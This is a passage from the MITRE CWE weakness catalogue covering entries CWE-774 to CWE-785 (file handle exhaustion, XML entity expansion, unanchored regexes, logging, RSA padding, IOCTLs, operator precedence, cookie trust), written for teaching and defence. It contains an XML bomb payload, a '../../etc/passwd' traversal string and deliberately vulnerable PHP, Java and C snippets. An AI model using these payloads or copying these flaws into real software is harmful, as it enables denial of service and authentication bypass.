The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	771	Missing Reference to Active Allocated Resource	1430

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID : 774 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID : 775 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID : 776 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	890
ChildOf	C	674	Uncontrolled Recursion	1314
CanFollow	V	827	Improper Control of Document Type Definition	1527

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	674	Uncontrolled Recursion	1314

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Alternate Terms

XEE : XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack :

XML Bomb : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.*	

Potential Mitigations

Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML *(attack)*

```
<?xml version="1.0"?>
```

```
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

CWE-777: Regular Expression without Anchors

Weakness ID : 777 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	625	Permissive Regular Expression	1237

Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Confidentiality Access Control	Bypass Protection Mechanism *An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.*	

Potential Mitigations

Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

Demonstrative Examples

Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

Example Language: PHP *(bad)*

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language: *(attack)*

```
../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

CWE-778: Insufficient Logging

Weakness ID : 778 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	B	223	Omission of Security-relevant Information	513

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities *If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.*	

Potential Mitigations

Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Demonstrative Examples

Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

Example Language: XML *(bad)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
        suppressAuditFailure="false"
        serviceAuthorizationAuditLevel="None"
        messageAuthenticationAuditLevel="None" />
      ...
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

Example Language: XML *(good)*

```
<system.serviceModel>
   <behaviors>
      <serviceBehaviors>
         <behavior name="NewBehavior">
            <serviceSecurityAudit auditLogLocation="Default"
            suppressAuditFailure="false"
            serviceAuthorizationAuditLevel="SuccessAndFailure"
            messageAuthenticationAuditLevel="SuccessAndFailure" />
         ...
</system.serviceModel>
```

Observed Examples

Reference	Description
CVE-2008-4315	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4315*
CVE-2008-1203	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1203*
CVE-2007-3730	default configuration for POP server does not log source IP or username for login attempts *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3730*

CWE-779: Logging of Excessive Data

Weakness ID : 779 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an

attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	864

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) *Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.*	
Non-Repudiation	Hide Activities *Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.*	
Non-Repudiation	Hide Activities *If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.*	

Potential Mitigations

Phase: Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Observed Examples

Reference	Description
CVE-2007-0421	server records a large amount of data to the server log when it receives malformed headers *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0421*
CVE-2002-1154	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154*

CWE-780: Use of RSA Algorithm without OAEP

Weakness ID : 780 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.*	

Demonstrative Examples

Example 1:

The example below attempts to build an RSA cipher.

Example Language: Java *(bad)*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Example Language: Java *(good)*

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

Notes

Maintenance

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID : 781 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1839
CanFollow	V	782	Exposed IOCTL with Insufficient Access Control	1451
CanPrecede	B	822	Untrusted Pointer Dereference	1515

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Operating_System : Windows NT *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Modify Memory Read Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.*	

Potential Mitigations

Phase: Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Phase: Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Phase: Architecture and Design

Phase: Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2006-2373	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2373*
CVE-2009-0686	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0686*
CVE-2009-0824	DVD software allows attackers to cause a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0824*
CVE-2008-5724	Personal firewall allows attackers to gain SYSTEM privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5724*
CVE-2007-5756	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756*

Notes

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

Research Gap

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID : 782 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	749	Exposed Dangerous Method or Function	1377
CanPrecede	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1449

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Operating_System : Unix *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	*Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.*	

Potential Mitigations

Phase: Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2009-2208	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2208*
CVE-2008-3831	Device driver does not restrict ioctl calls to its master. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3831*
CVE-2008-3525	ioctl does not check for a required capability before processing certain requests. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3525*
CVE-2008-0322	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0322*
CVE-2007-4277	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4277*
CVE-2007-1400	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1400*
CVE-2006-4926	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4926*
CVE-1999-0728	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0728*

Notes

Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

CWE-783: Operator Precedence Logic Error

Weakness ID : 783 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : C *(Prevalence = Rarely)*

Language : C++ *(Prevalence = Rarely)*

Language : Language-Independent *(Prevalence = Rarely)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context Unexpected State *The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.*	

Potential Mitigations

Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

Demonstrative Examples

Example 1:

In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

Example Language: C *(bad)*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
```

```
    }
    return isUser;
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C *(good)*

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...
```

Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java *(bad)*

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java *(good)*

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...
```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

Observed Examples

Reference	Description
CVE-2008-2516	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2516*
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0599*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID : 784 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.*	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549*
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619*
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864*
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784*
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6291*

Notes

Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers -

could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID : 785 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
